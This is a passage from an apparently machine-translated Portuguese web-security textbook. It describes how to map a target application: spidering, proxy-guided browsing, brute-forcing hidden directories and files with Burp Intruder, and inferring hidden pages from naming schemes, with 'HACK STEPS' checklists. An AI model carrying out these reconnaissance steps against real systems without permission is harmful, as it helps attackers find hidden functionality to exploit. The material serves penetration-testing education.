Nos últimos anos, várias estruturas evoluíram para a criação de interfaces de usuário nas quais o código do lado do cliente pode acessar remotamente várias APIs programáticas implementadas no lado do servidor. Isso permite que os desenvolvedores se abstraiam parcialmente da natureza distribuída dos aplicativos da Web e escrevam códigos de uma maneira mais próxima do paradigma de um aplicativo de desktop convencional. Essas estruturas normalmente fornecem APIs stub para uso no lado do cliente. Elas também lidam automaticamente com a remoting dessas chamadas de API para as funções relevantes do lado do servidor e com a serialização de todos os dados que são passados para essas funções.

Exemplos desses tipos de estruturas de remoting e serialização são os seguintes:

- Flex e AMF
- Silverlight e WCF
- Objetos serializados em Java

Discutiremos técnicas para trabalhar com essas estruturas e os tipos de problemas de segurança que podem surgir nos Capítulos 4 e 5.

Próximas etapas

Até agora, descrevemos o estado atual da (in)segurança dos aplicativos Web, examinamos os principais mecanismos pelos quais os aplicativos Web podem se defender e demos uma breve olhada nas principais tecnologias empregadas nos aplicativos atuais. Com essa base pronta, estamos agora em condições de começar a analisar os aspectos práticos reais do ataque a aplicativos Web.

Em qualquer ataque, sua primeira tarefa é mapear o conteúdo e a funcionalidade do aplicativo-alvo para estabelecer como ele funciona, como tenta se defender e quais tecnologias utiliza. O próximo capítulo examina esse processo de mapeamento em detalhes e mostra como você pode usá-lo para obter uma compreensão profunda da superfície de ataque de um aplicativo. Esse conhecimento será vital quando se trata de encontrar e explorar falhas de segurança em seu alvo.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Para que o método `OPTIONS` é usado?
2. Para que são usados os cabeçalhos `If-Modified-Since` e `If-None-Match`? Por que você pode se interessar por eles ao atacar um aplicativo?
3. Qual é o significado do sinalizador `seguro` quando um servidor define um cookie?
4. Qual é a diferença entre os códigos de status comuns 301 e 302?
5. Como um navegador interage com um proxy da Web quando o SSL está sendo usado?

CAPÍTULO

4

Mapeamento do aplicativo

A primeira etapa do processo de ataque a um aplicativo é coletar e examinar algumas informações importantes sobre ele para obter uma melhor compreensão do que você está enfrentando.

O exercício de mapeamento começa com a enumeração do conteúdo e da funcionalidade do aplicativo para entender o que ele faz e como se comporta. Grande parte dessa funcionalidade é fácil de identificar, mas algumas delas podem estar ocultas, exigindo um grau de adivinhação e sorte para serem descobertas.

Após a montagem de um catálogo da funcionalidade do aplicativo, a principal tarefa é examinar atentamente cada aspecto de seu comportamento, seus principais mecanismos de segurança e as tecnologias que estão sendo empregadas (tanto no cliente quanto no servidor). Isso permitirá que você identifique a principal superfície de ataque que o aplicativo expõe e, portanto, as áreas mais interessantes para as quais você deve direcionar sondagens subsequentes a fim de encontrar vulnerabilidades exploráveis. Muitas vezes, o exercício de análise pode revelar vulnerabilidades por si só, conforme discutido mais adiante no capítulo.

À medida que os aplicativos se tornam cada vez maiores e mais funcionais, o mapeamento eficaz é uma habilidade valiosa. Um especialista experiente pode fazer rapidamente a triagem de áreas inteiras de funcionalidade, procurando classes de vulnerabilidades em vez de instâncias, enquanto investe um tempo significativo em testes de outras áreas específicas, com o objetivo de descobrir um problema de alto risco. Este capítulo descreve as etapas práticas que você precisa seguir durante o mapeamento de aplicativos, várias técnicas e truques que podem ser usados para maximizar sua eficácia.

e algumas ferramentas que podem ajudá-lo no processo.

Enumeração de conteúdo e funcionalidade

Em um aplicativo típico, a maior parte do conteúdo e da funcionalidade pode ser identificada por meio de navegação manual. A abordagem básica é percorrer o aplicativo a partir da página inicial principal, seguindo todos os links e navegando por todas as funções de vários estágios (como registro de usuário ou redefinição de senha). Se o aplicativo contiver um "mapa do site", ele poderá ser um ponto de partida útil para enumerar o conteúdo.

No entanto, para realizar uma inspeção rigorosa do conteúdo enumerado e obter um registro abrangente de tudo o que foi identificado, é necessário empregar técnicas mais avançadas do que a simples navegação.

Espionagem na Web

Várias ferramentas podem executar o spidering automatizado de sites. Essas ferramentas funcionam solicitando uma página da Web, analisando-a em busca de links para outros conteúdos, solicitando esses links e continuando recursivamente até que nenhum conteúdo novo seja descoberto.

Com base nessa função básica, os spiders de aplicativos da Web tentam atingir um nível mais alto de cobertura analisando também formulários HTML e enviando-os de volta ao aplicativo usando vários valores predefinidos ou aleatórios. Isso pode permitir que eles percorram a funcionalidade de vários estágios e sigam a navegação baseada em formulários (por exemplo, quando listas suspensas são usadas como menus de conteúdo). Algumas ferramentas também analisam o JavaScript no lado do cliente para extrair URLs que apontam para outros conteúdos. Há várias ferramentas gratuitas disponíveis que fazem um bom trabalho de enumerar o conteúdo e a funcionalidade dos aplicativos, incluindo Burp Suite, WebScarab, Zed Attack Proxy e CAT (consulte o Capítulo 20 para obter mais detalhes).

DICA Muitos servidores da Web contêm um arquivo chamado **`robots.txt`** na raiz da Web que contém uma lista de URLs que o site não deseja que os spiders da Web visitem ou que os mecanismos de pesquisa indexem. Às vezes, esse arquivo contém referências a funcionalidades confidenciais, que você certamente está interessado em examinar. Algumas ferramentas de spidering projetadas para atacar aplicativos da Web verificam o arquivo **`robots.txt`** e usam todos os URLs nele contidos como sementes no processo de spidering. Nesse caso, o arquivo **`robots.txt`** pode ser contraproducente para a segurança do aplicativo Web.

Este capítulo usa um aplicativo fictício, o Extreme Internet Shopping (EIS), para fornecer exemplos de ações comuns de mapeamento de aplicativos. A Figura 4-1 mostra o Burp Spider em execução no EIS. Sem fazer logon, é possível mapear o `/shop` e dois artigos de notícias no diretório `/media`. Observe também que o arquivo `robots.txt` mostrado na figura faz referência aos diretórios `/mdsecportal` e `/site-old`. Esses diretórios não têm links em nenhum lugar do aplicativo e não seriam indexados por um web spider que seguisse apenas os links do conteúdo publicado.

DICA Os aplicativos que empregam URLs no estilo REST usam partes do caminho do

arquivo de URL para identificar exclusivamente os dados e outros recursos usados no aplicativo

(consulte o Capítulo 3 para obter mais detalhes). A visão tradicional do aplicativo baseada em URL do web spider é útil nessas situações. No aplicativo EIS, o
Os caminhos **/shop** e **/pub** empregam URLs no estilo REST, e o spidering dessas áreas fornece facilmente links exclusivos para os itens disponíveis nesses caminhos.

Figura 4-1: Mapeamento de parte de um aplicativo usando o Burp Spider

Embora muitas vezes possa ser eficaz, esse tipo de abordagem totalmente automatizada para a enumeração de conteúdo tem algumas limitações significativas:

- Mecanismos de navegação incomuns (como menus criados dinamicamente e manipulados por meio de códigos JavaScript complicados) muitas vezes não são tratados adequadamente por essas ferramentas e, portanto, podem perder áreas inteiras de um aplicativo.
- Os links ocultos em objetos compilados do lado do cliente, como applets Flash ou Java, podem não ser detectados por um spider.
- A funcionalidade de vários estágios geralmente implementa verificações de validação de entrada refinadas, que não aceitam os valores que podem ser enviados por uma ferramenta automática. Por exemplo, um formulário de registro de usuário pode conter campos para nome, endereço de e-mail, número de telefone e código postal. Uma ferramenta automatizada

O spider do aplicativo normalmente envia uma única string de teste em cada campo editável do formulário, e o aplicativo retorna uma mensagem de erro informando que um ou mais dos itens enviados são inválidos. Como o spider não é inteligente o suficiente para entender e agir com base nessa mensagem, ele não passa do formulário de registro e, portanto, não descobre mais nenhum conteúdo ou função acessível além dele.

- Normalmente, os spiders automatizados usam URLs como identificadores de conteúdo exclusivo. Para evitar que o spidering continue indefinidamente, eles reconhecem quando o conteúdo vinculado já foi solicitado e não o solicitam novamente. No entanto, muitos aplicativos usam navegação baseada em formulários em que o mesmo URL pode retornar conteúdo e funções muito diferentes. Por exemplo, um aplicativo bancário pode implementar cada ação do usuário por meio de uma solicitação `POST` para
  `/account.jsp` e usar parâmetros para comunicar a ação que está sendo executada.
  formado. Se um spider se recusar a fazer várias solicitações a esse URL, ele perderá a maior parte do conteúdo do aplicativo. Alguns spiders de aplicativos tentam lidar com essa situação. Por exemplo, o Burp Spider pode ser configurado para individualizar os envios de formulários com base nos nomes e valores dos parâmetros. No entanto, ainda pode haver situações em que uma abordagem totalmente automatizada não seja totalmente eficaz. Discutiremos abordagens para mapear esse tipo de funcionalidade mais adiante neste capítulo.
- Em contrapartida ao ponto anterior, alguns aplicativos colocam dados voláteis nos URLs que não são realmente usados para identificar recursos ou funções (por exemplo, parâmetros que contêm temporizadores ou sementes de números aleatórios). Cada página do aplicativo pode conter o que parece ser um novo conjunto de URLs que o spider deve solicitar, fazendo com que ele continue sendo executado indefinidamente.
- Quando um aplicativo usa autenticação, um spider de aplicativo eficaz deve ser capaz de lidar com isso para acessar a funcionalidade que a autenticação protege. Os spiders mencionados anteriormente podem conseguir isso configurando manualmente o spider com um token para uma sessão autenticada ou com credenciais para enviar à função de login. No entanto, mesmo quando isso é feito, é comum descobrir que a operação do spider interrompe a sessão autenticada por vários motivos:
  - Ao seguir todos os URLs, em algum momento o spider solicitará a função de logout, causando a interrupção da sessão.
  - Se a aranha enviar uma entrada inválida para uma função sensível, o aplicativo poderá encerrar a sessão de forma defensiva.
  - Se o aplicativo usar tokens por página, é quase certo que o spider não conseguirá lidar com eles adequadamente, solicitando páginas fora da sequência esperada, provavelmente fazendo com que a sessão inteira seja encerrada.

AVISO Em alguns aplicativos, executar até mesmo um simples web spider que analisa e solicita links pode ser extremamente perigoso. Por exemplo, um aplicativo pode conter funcionalidades administrativas que excluem usuários, fecham um banco de dados, reiniciam o servidor e assim por diante. Se uma aranha com reconhecimento de aplicativo for usada, poderá ocorrer um grande dano se a aranha descobrir e usar funcionalidades confidenciais. Os autores encontraram um aplicativo que incluía algumas funcionalidades do Sistema de Gerenciamento de Conteúdo (CMS) para editar o conteúdo do aplicativo principal. Essa funcionalidade podia ser descoberta por meio do mapa do site e não estava protegida por nenhum controle de acesso. Se um spider automatizado fosse executado nesse site, ele encontraria a função de edição e começaria a enviar dados arbitrários, fazendo com que o site principal fosse desfigurado em tempo real enquanto o spider estivesse em execução.

Spidering direcionado pelo usuário

Essa é uma técnica mais sofisticada e controlada que geralmente é preferível ao spidering automatizado. Aqui, o usuário percorre o aplicativo da maneira normal usando um navegador padrão, tentando navegar por todas as funcionalidades do aplicativo. Ao fazer isso, o tráfego resultante passa por uma ferramenta que combina um proxy de interceptação e um spider, que monitora todas as solicitações e respostas. A ferramenta cria um mapa do aplicativo, incorporando todos os URLs visitados pelo navegador. Ela também analisa todas as respostas do aplicativo da mesma forma que uma aranha normal com reconhecimento de aplicativo e atualiza o mapa do site com o conteúdo e a funcionalidade que descobre. Os spiders do Burp Suite e do WebScarab podem ser usados dessa forma (consulte o Capítulo 20 para obter mais informações).

Em comparação com a abordagem básica de spidering, essa técnica oferece vários benefícios:

- Quando o aplicativo usa mecanismos incomuns ou complexos para navegação, o usuário pode segui-los usando um navegador da maneira normal. Todas as funções e conteúdos acessados pelo usuário são processados pela ferramenta proxy/spider.
- O usuário controla todos os dados enviados ao aplicativo e pode garantir que os requisitos de validação de dados sejam atendidos.
- O usuário pode fazer login no aplicativo da maneira habitual e garantir que a sessão autenticada permaneça ativa durante todo o processo de mapeamento. Se alguma ação executada resultar no encerramento da sessão, o usuário poderá fazer login novamente e continuar navegando.
- Qualquer funcionalidade perigosa, como `deleteUser.jsp`, é totalmente enumerada e incorporada ao mapa do site do proxy, pois os links para ela serão analisados a partir das respostas do aplicativo. Mas o usuário pode decidir a seu critério quais funções realmente solicitar ou executar.

No site do Extreme Internet Shopping, anteriormente era impossível para o spider indexar qualquer conteúdo em `/home`, porque esse conteúdo é autenticado. As solicitações para `/home` resultam nesta resposta:

```
HTTP/1.1 302 Moved Temporarily Date:
Mon, 24 Jan 2011 16:13:12 GMT
Servidor: Apache
Localização: /auth/Login?ReturnURL=/home/
```

Com o spidering direcionado ao usuário, o usuário pode simplesmente fazer login no aplicativo usando o navegador, e a ferramenta proxy/spider capta a sessão resultante e identifica todo o conteúdo adicional agora disponível para o usuário. A Figura 4-2 mostra o mapa do site do EIS quando o usuário se autenticou com êxito nas áreas protegidas do aplicativo.

Figura 4-2: Mapa do site do Burp após a realização de spidering guiado pelo usuário

Isso revela alguns recursos adicionais no sistema do menu inicial. A figura mostra uma referência a um perfil privado que é acessado por meio de uma função JavaScript iniciada com o manipulador de eventos onClick:

```
<a href="#" onclick="ui_nav('profile')">private profile</a>
```

Um rastreador da Web convencional que simplesmente segue links dentro do HTML provavelmente perderá esse tipo de link. Até mesmo os rastreadores de aplicativos automatizados mais avançados ficam muito atrás dos inúmeros mecanismos de navegação empregados pelos aplicativos e extensões de navegadores atuais. No entanto, com o spidering direcionado ao usuário, basta que ele siga o link visível na tela usando o navegador, e a ferramenta proxy/spider adiciona o conteúdo resultante ao mapa do site.

Por outro lado, observe que o spider identificou com êxito o link para `/core/sitestats` contido em um comentário HTML, mesmo que esse link não seja exibido na tela para o usuário.

DICA Além das ferramentas de proxy/aranha que acabamos de descrever, outra gama de ferramentas que costuma ser útil durante o mapeamento de aplicativos são as várias ferramentas de
extensões de navegador que podem realizar análises de HTTP e HTML na interface do navegador. Por exemplo, a ferramenta IEWatch mostrada na Figura 4-3, que é executada no Microsoft Internet Explorer, monitora todos os detalhes das solicitações e respostas, inclusive cabeçalhos, parâmetros de solicitação e cookies. Ela analisa cada página de aplicativo para exibir links, scripts, formulários e componentes thick-client. É claro que todas essas informações podem ser visualizadas no seu proxy de interceptação, mas ter um segundo registro de dados de mapeamento úteis só pode ajudá-lo a entender melhor o aplicativo e enumerar todas as suas funcionalidades. Consulte o Capítulo 20 para obter mais informações sobre ferramentas desse tipo.

Figura 4-3: IEWatch realizando análise de HTTP e HTML a partir do navegador

ETAPAS DO HACK

1. Configure seu navegador para usar o Burp ou o WebScarab como proxy local (consulte o Capítulo 20 para obter detalhes específicos sobre como fazer isso, caso não tenha certeza).
2. Navegue normalmente por todo o aplicativo, tentando visitar todos os links/URLs que encontrar, enviando todos os formulários e passando por todas as funções de várias etapas até a conclusão. Tente navegar com o JavaScript ativado e desativado, e com os cookies ativados e desativados. Muitos aplicativos podem lidar com várias configurações de navegador e você pode chegar a diferentes caminhos de conteúdo e código dentro do aplicativo.
3. Revise o mapa do site gerado pela ferramenta proxy/spider e identifique qualquer conteúdo ou função do aplicativo que você não tenha pesquisado manualmente. Estabeleça como o spider enumerou cada item. Por exemplo, no Burp
   Spider, verifique os detalhes do Linked From. Usando o navegador, acesse o item manualmente para que a resposta do servidor seja analisada pela ferramenta de proxy/aranha para identificar qualquer conteúdo adicional. Continue essa etapa recursivamente até que nenhum outro conteúdo ou funcionalidade seja identificado.
4. Opcionalmente, informe à ferramenta para que ela faça um spider ativo do site usando todo o conteúdo já enumerado como ponto de partida. Para fazer isso, primeiro identifique todos os URLs perigosos ou que possam interromper a sessão do aplicativo e configure o spider para excluí-los do escopo. Execute o spider e analise os resultados para ver se há algum conteúdo adicional descoberto.

O mapa do site gerado pela ferramenta proxy/spider contém uma grande quantidade de informações sobre o aplicativo de destino, que serão úteis posteriormente para identificar as várias superfícies de ataque expostas pelo aplicativo.

Descobrindo conteúdo oculto

É comum que os aplicativos contenham conteúdo e funcionalidade que não estejam diretamente vinculados ou acessíveis a partir do conteúdo visível principal. Um exemplo comum é a funcionalidade que foi implementada para fins de teste ou depuração e que nunca foi removida.

Outro exemplo surge quando o aplicativo apresenta diferentes funcionalidades para diferentes categorias de usuários (por exemplo, usuários anônimos, usuários regulares autenticados e administradores). Os usuários de um nível de privilégio que realizam uma varredura exaustiva do aplicativo podem perder a funcionalidade que é visível para os usuários de outros níveis. Um invasor que descobre a funcionalidade pode ser capaz de explorá-la para elevar seus privilégios dentro do aplicativo.

Há inúmeros outros casos em que pode haver conteúdo e funcionalidade interessantes que as técnicas de mapeamento descritas anteriormente não identificariam:

- Cópias de backup de arquivos ativos. No caso de páginas dinâmicas, sua extensão

de arquivo pode ter sido alterada para uma que não seja mapeada como executável, permitindo que você

para analisar o código-fonte da página em busca de vulnerabilidades que possam ser exploradas na página ativa.

- Arquivos de backup que contêm um instantâneo completo de arquivos dentro (ou mesmo fora) da raiz da Web, possivelmente permitindo que você identifique facilmente todo o conteúdo e a funcionalidade do aplicativo.
- Nova funcionalidade que foi implantada no servidor para teste, mas ainda não foi vinculada ao aplicativo principal.
- Funcionalidade padrão do aplicativo em um aplicativo pronto para uso que foi superficialmente ocultado do usuário, mas que ainda está presente no servidor.
- Versões antigas de arquivos que não foram removidas do servidor. No caso de páginas dinâmicas, elas podem conter vulnerabilidades que foram corrigidas na versão atual, mas que ainda podem ser exploradas na versão antiga.
- Configuração e inclusão de arquivos contendo dados confidenciais, como credenciais de banco de dados.
- Arquivos de origem a partir dos quais a funcionalidade do aplicativo ativo foi compilada.
- Comentários no código-fonte que, em casos extremos, podem conter informações como nomes de usuário e senhas, mas que provavelmente fornecem informações sobre o estado do aplicativo. Frases-chave como "teste esta função" ou algo semelhante são fortes indicadores de onde começar a procurar vulnerabilidades.
- Arquivos de registro que podem conter informações confidenciais, como nomes de usuário válidos, tokens de sessão, URLs visitados e ações executadas.

A descoberta eficaz de conteúdo oculto requer uma combinação de técnicas automatizadas e manuais e, muitas vezes, depende de um certo grau de sorte.

Técnicas de força bruta

O Capítulo 14 descreve como as técnicas automatizadas podem ser aproveitadas para acelerar praticamente qualquer ataque contra um aplicativo. No contexto atual de coleta de informações, a automação pode ser usada para fazer um grande número de solicitações ao servidor da Web, tentando adivinhar os nomes ou identificadores de funcionalidades ocultas.

Por exemplo, suponha que o spidering direcionado ao usuário tenha identificado o seguinte conteúdo de aplicativo:

```
http://eis/auth/Login
http://eis/auth/ForgotPassword
http://eis/home/
http://eis/pub/media/100/view
http://eis/images/eis.gif
http://eis/include/eis.css
```

A primeira etapa de um esforço automatizado para identificar conteúdo oculto pode envolver as seguintes solicitações, para localizar diretórios adicionais:

```
http://eis/About/
http://eis/abstract/
http://eis/academics/
http://eis/accessibility/
http://eis/accounts/
http://eis/action/
...
```

O Burp Intruder pode ser usado para iterar por uma lista de nomes de diretórios comuns e capturar detalhes das respostas do servidor, que podem ser revisados para identificar diretórios válidos. A Figura 4-4 mostra o Burp Intruder sendo configurado para sondar os diretórios comuns que residem na raiz da Web.

Figura 4-4: Burp Intruder sendo configurado para sondar diretórios comuns

Quando o ataque tiver sido executado, clicar nos cabeçalhos das colunas, como "status" e "length", classifica os resultados de acordo, permitindo que você identifique rapidamente uma lista de possíveis recursos adicionais, conforme mostrado na Figura 4-5.

Depois de aplicar a força bruta em diretórios e subdiretórios, talvez você queira encontrar outras páginas no aplicativo. De interesse especial é o diretório `/auth`, que contém o recurso de login identificado durante o processo de spidering, que provavelmente será um bom ponto de partida para um invasor não autenticado. Novamente, você pode solicitar uma série de arquivos dentro desse diretório:

```
http://eis/auth/About/
http://eis/auth/Aboutus/
http://eis/auth/AddUser/
http://eis/auth/Admin/
http://eis/auth/Administration/
http://eis/auth/Admins/
...
```

Figura 4-5: Burp Intruder mostrando os resultados de um ataque de força bruta de diretório

A Figura 4-6 mostra os resultados desse ataque, que identificou vários recursos no diretório `/auth`:

```
Login
Logout
Registrar
Perfil
```

Observe que a solicitação de `Profile` retorna o código de status HTTP 302. Isso indica que o acesso a esse link sem autenticação redireciona o usuário para a página de login. Outro fato interessante é que, embora a página `de login` tenha sido descoberta durante o spidering, a página `de registro` não foi. É possível que essa funcionalidade extra esteja operacional e que um invasor possa registrar uma conta de usuário no site.

Figura 4-6: Burp Intruder mostrando os resultados de um ataque de força bruta de arquivo

OBSERVAÇÃO Não presuma que o aplicativo responderá com **`200 OK`** se o recurso solicitado existir e **`404 Not Found`** se não existir. Muitos aplicativos tratam as solicitações de recursos inexistentes de forma personalizada, geralmente retornando uma mensagem de erro personalizada e um código de resposta 200. Além disso, algumas solicitações de recursos existentes podem receber uma resposta não-200. A seguir, um guia aproximado do significado provável dos códigos de resposta que você pode encontrar durante um exercício de força bruta em busca de conteúdo oculto:

- **`302 Found`** - Se o redirecionamento for para uma página de login, o recurso poderá ser acessado somente por usuários autenticados. Se o redirecionamento for para uma mensagem de erro, isso pode indicar um motivo diferente. Se for para outro local, o redirecionamento pode fazer parte da lógica pretendida pelo aplicativo, e isso deve ser investigado com mais detalhes.
- **`400 Bad Request (Solicitação incorreta)`** - O aplicativo pode usar um esquema de nomenclatura personalizado para diretórios e arquivos dentro de URLs, com o qual uma solicitação específica não está em conformidade. O mais provável, no entanto, é que a lista de palavras que você está usando contenha alguns caracteres de espaço em branco ou outra sintaxe inválida.
- **`401 Unauthorized (Não autorizado)`** ou **`403 Forbidden (Proibido)`** - Isso geralmente indica que o recurso solicitado existe, mas não pode ser acessado por nenhum usuário,

independentemente do status de autenticação ou do nível de privilégio. Isso geralmente ocorre quando os diretórios são solicitados, e você pode inferir que o diretório existe.

- **500 Internal Server Error (Erro interno do servidor 500)** - Durante a descoberta de conteúdo, isso geralmente indica que o aplicativo espera que determinados parâmetros sejam enviados ao solicitar o recurso.

As várias respostas possíveis que podem indicar a presença de conteúdo interessante significam que é difícil escrever um script totalmente automatizado para gerar uma lista de recursos válidos. A melhor abordagem é capturar o máximo possível de informações sobre as respostas do aplicativo durante o exercício de força bruta e revisá-las manualmente.

ETAPAS DO HACK

1. Faça algumas solicitações manuais para recursos conhecidos como válidos e inválidos e identifique como o servidor lida com os últimos.
2. Use o mapa do site gerado por meio de spidering direcionado ao usuário como base para a descoberta automatizada de conteúdo oculto.
3. Faça solicitações automatizadas de nomes de arquivos e diretórios comuns em cada diretório ou caminho conhecido como existente no aplicativo. Use o Burp Intruder ou um script personalizado, juntamente com listas de palavras de arquivos e diretórios comuns, para gerar rapidamente um grande número de solicitações. Se você identificou uma maneira específica pela qual o aplicativo lida com solicitações de recursos inválidos (como uma página personalizada de "arquivo não encontrado"), configure o Intruder ou o seu script para destacar esses resultados de modo que eles possam ser ignorados.
4. Capture as respostas recebidas do servidor e analise-as manualmente para identificar recursos válidos.
5. Realize o exercício recursivamente à medida que novos conteúdos forem descobertos.

Inferência a partir do conteúdo publicado

A maioria dos aplicativos emprega algum tipo de esquema de nomenclatura para seu conteúdo e funcionalidade. Ao inferir a partir dos recursos já identificados no aplicativo, é possível ajustar seu exercício de enumeração automatizada para aumentar a probabilidade de descobrir mais conteúdo oculto.

No aplicativo EIS, observe que todos os recursos em `/auth` começam com uma letra maiúscula. É por isso que a lista de palavras usada no arquivo brute forcing na seção anterior foi deliberadamente capitalizada. Além disso, como já identificamos uma página chamada `ForgotPassword` no diretório `/auth`, podemos procurar itens com nomes semelhantes, como os seguintes:

```
http://eis/auth/ResetPassword
```

Além disso, o mapa do site criado durante o spidering direcionado ao usuário identificou esses recursos:

```
http://eis/pub/media/100
http://eis/pub/media/117
http://eis/pub/user/11
```

Outros valores numéricos em um intervalo semelhante provavelmente identificarão outros recursos e informações.

DICA O Burp Intruder é altamente personalizável e pode ser usado para atacar qualquer parte de uma solicitação HTTP. A Figura 4-7 mostra o Burp Intruder sendo usado para realizar um ataque de força bruta na primeira metade de um nome de arquivo para fazer as solicitações:

```
http://eis/auth/AddPassword
http://eis/auth/ForgotPassword
http://eis/auth/GetPassword
http://eis/auth/ResetPassword
http://eis/auth/RetrievePassword
http://eis/auth/UpdatePassword
...
```

Figura 4-7: Burp Intruder sendo usado para realizar um ataque de força bruta personalizado em parte de um nome de arquivo

ETAPAS DO HACK

1. Analise os resultados da navegação direcionada ao usuário e dos exercícios básicos de força bruta. Compile listas com os nomes de todos os subdiretórios enumerados, troncos de arquivos e extensões de arquivos.
2. Revise essas listas para identificar os esquemas de nomes em uso. Por exemplo, se houver páginas chamadas **`AddDocument.jsp`** e **`ViewDocument.jsp`**, também poderá haver páginas chamadas **`EditDocument.jsp`** e **`RemoveDocument.jsp`**. Muitas vezes, você pode ter uma ideia dos hábitos de nomenclatura dos desenvolvedores apenas lendo alguns exemplos. Por exemplo, dependendo do estilo pessoal, os desenvolvedores podem ser prolixos (**`AddANewUser.asp`**), sucintos (**`AddUser.asp`**), usar abreviações (**`AddUsr.asp`**) ou até mesmo ser mais crípticos (**`AddU.asp`**). Ter uma ideia dos estilos de nomenclatura em uso pode ajudá-lo a adivinhar os nomes exatos do conteúdo que você ainda não identificou.
3. Às vezes, o esquema de nomenclatura usado para diferentes conteúdos emprega identificadores como números e datas, o que pode facilitar a inferência de conteúdo oculto. Isso é mais comumente encontrado nos nomes de recursos estáticos, em vez de scripts dinâmicos. Por exemplo, se o site de uma empresa tiver links para **`AnnualReport2009.pdf`** e **`AnnualReport2010.pdf`**,
   deve ser um passo curto para identificar como será o nome do próximo relatório. Por incrível que pareça, houve casos notórios de empresas que colocaram arquivos contendo relatórios financeiros em seus servidores da Web antes de serem anunciados publicamente, apenas para que jornalistas astutos os descobrissem com base no esquema de nomenclatura usado em anos anteriores.
4. Revise todo o código do lado do cliente, como HTML e JavaScript, para identificar qualquer pista sobre conteúdo oculto no lado do servidor. Isso pode incluir comentários HTML relacionados a funções protegidas ou não vinculadas, formulários HTML com elementos **`SUBMIT`** desativados e similares. Geralmente, os comentários são gerados automaticamente pelo software usado para gerar conteúdo da Web ou pela plataforma na qual o aplicativo está sendo executado. As referências a itens como arquivos include do lado do servidor são de particular interesse. Esses arquivos podem, na verdade, ser baixados publicamente e conter informações altamente sensíveis, como cadeias de conexão de banco de dados e senhas. Em outros casos, os comentários dos desenvolvedores podem conter todos os tipos de informações úteis, como nomes de bancos de dados, referências a componentes de back-end, strings de consulta SQL e assim por diante. Os componentes de cliente espesso, como applets Java e controles ActiveX, também podem conter dados confidenciais que podem ser extraídos. Consulte o Capítulo 15 para conhecer outras maneiras pelas quais o aplicativo pode divulgar informações sobre si mesmo.

Continuação

ETAPAS DO HACK *(continuação)*

5. Acrescente às listas de itens enumerados quaisquer outros nomes em potencial con- jectados com base nos itens que você descobriu. Adicione também à lista de extensões de arquivo extensões comuns, como **`txt`**, **`bak`**, **`src`**, **`inc`** e **`old`**, que podem revelar a origem de versões de backup de páginas ativas. Adicione também extensões associadas às linguagens de desenvolvimento em uso, como **`.java`** e **`.cs`**, que podem revelar arquivos de origem que foram compilados em páginas ativas. (Consulte as dicas mais adiante neste capítulo para identificar as tecnologias em uso).
6. Procure por arquivos temporários que possam ter sido criados inadvertidamente por ferramentas de desenvolvimento e editores de arquivos. Os exemplos incluem o arquivo **`.DS_Store`**, que contém um índice de diretório no OS X, **`file.php~1`**, que é um arquivo temporário criado quando **`file.php`** é editado, e a extensão de arquivo **`.tmp`** que é usada por várias ferramentas de software.
7. Realize outros exercícios automatizados, combinando as listas de diretórios, troncos de arquivos e extensões de arquivos para solicitar um grande número de recursos potenciais. Por exemplo, em um determinado diretório, solicite cada haste de arquivo combinada com cada extensão de arquivo. Ou solicite cada nome de diretório como um subdiretório de cada diretório conhecido.
8. Quando um esquema de nomenclatura consistente tiver sido identificado, considere a possibilidade de realizar um exercício de força bruta mais focado. Por exemplo, se **`AddDocument.jsp`** e **`ViewDocument.jsp`** são conhecidos, você pode criar uma lista de ações (editar, excluir, criar) e fazer solicitações do formulário ***`XxxDocument`***`.jsp`. Como alternativa, crie uma lista de tipos de itens (usuário, conta, arquivo) e faça solicitações do formulário ***`AddXxx`***`.jsp`.
9. Execute cada exercício de forma recursiva, usando novos conteúdos e padrões enumerados como base para mais spidering direcionado ao usuário e mais descoberta automática de conteúdo. Você está limitado apenas pela sua imaginação, pelo tempo disponível e pela importância que atribui à descoberta de conteúdo oculto dentro do aplicativo que está segmentando.

NOTA Você pode usar o recurso Content Discovery do Burp Suite Pro para realizar automaticamente a maioria das tarefas descritas até agora. Depois de mapear manualmente o conteúdo visível de um aplicativo usando o navegador, você pode selecionar uma ou mais ramificações do mapa do site do Burp e iniciar uma sessão de descoberta de conteúdo nessas ramificações.

O Burp usa as seguintes técnicas ao tentar descobrir novos conteúdos:

- Força bruta usando listas incorporadas de nomes comuns de arquivos e diretórios
- Geração dinâmica de listas de palavras com base em nomes de recursos observados no aplicativo de destino
- Extrapolação de nomes de recursos que contêm números e datas

- Teste de extensões de arquivo alternativas em recursos identificados
- Spidering a partir de conteúdo descoberto
- Impressão digital automática de respostas válidas e inválidas para reduzir falsos positivos

Todos os exercícios são realizados de forma recursiva, com novas tarefas de descoberta sendo agendadas à medida que novos conteúdos de aplicativos são descobertos. A Figura 4-8 mostra uma sessão de descoberta de conteúdo em andamento no aplicativo EIS.

Figura 4-8: Uma sessão de descoberta de conteúdo em andamento no aplicativo EIS

DICA O projeto DirBuster da OWASP também é um recurso útil para a realização de tarefas automatizadas de descoberta de conteúdo. Ele inclui grandes listas de nomes de diretórios que foram encontrados na natureza, ordenados por frequência de ocorrência.

Uso de informações públicas

O aplicativo pode conter conteúdo e funcionalidade que não estão atualmente vinculados ao conteúdo principal, mas que foram vinculados no passado. Nessa situação, é provável que vários repositórios históricos ainda contenham referências ao conteúdo oculto. Dois tipos principais de recursos disponíveis publicamente são úteis aqui:

- **Mecanismos de pesquisa** como Google, Yahoo e MSN. Esses mecanismos mantêm um índice refinado de todo o conteúdo que suas poderosas aranhas descobriram e também cópias em cache de grande parte desse conteúdo, que persiste mesmo depois que o conteúdo original foi removido.
- **Arquivos da Web**, como o WayBack Machine, localizado em www.archive.org/. Esses arquivos mantêm um registro histórico de um grande número de sites. Em muitos casos, eles permitem que os usuários naveguem por um instantâneo totalmente replicado de um determinado site, conforme ele existia em várias datas, há vários anos.

Além do conteúdo que foi vinculado no passado, é provável que esses recursos também contenham referências a conteúdo vinculado de sites de terceiros, mas não de dentro do próprio aplicativo de destino. Por exemplo, alguns aplicativos contêm funcionalidades restritas para uso de seus parceiros comerciais. Esses parceiros podem divulgar a existência da funcionalidade de uma forma que o próprio aplicativo não divulga.

ETAPAS DO HACK

1. Use vários mecanismos de pesquisa e arquivos da Web diferentes (listados anteriormente) para descobrir o conteúdo que eles indexaram ou armazenaram para o aplicativo que você está atacando.
2. Ao consultar um mecanismo de busca, você pode usar várias técnicas avançadas para maximizar a eficácia da sua pesquisa. As sugestões a seguir se aplicam ao Google. Você pode encontrar as consultas correspondentes em outros mecanismos selecionando a opção Pesquisa avançada.
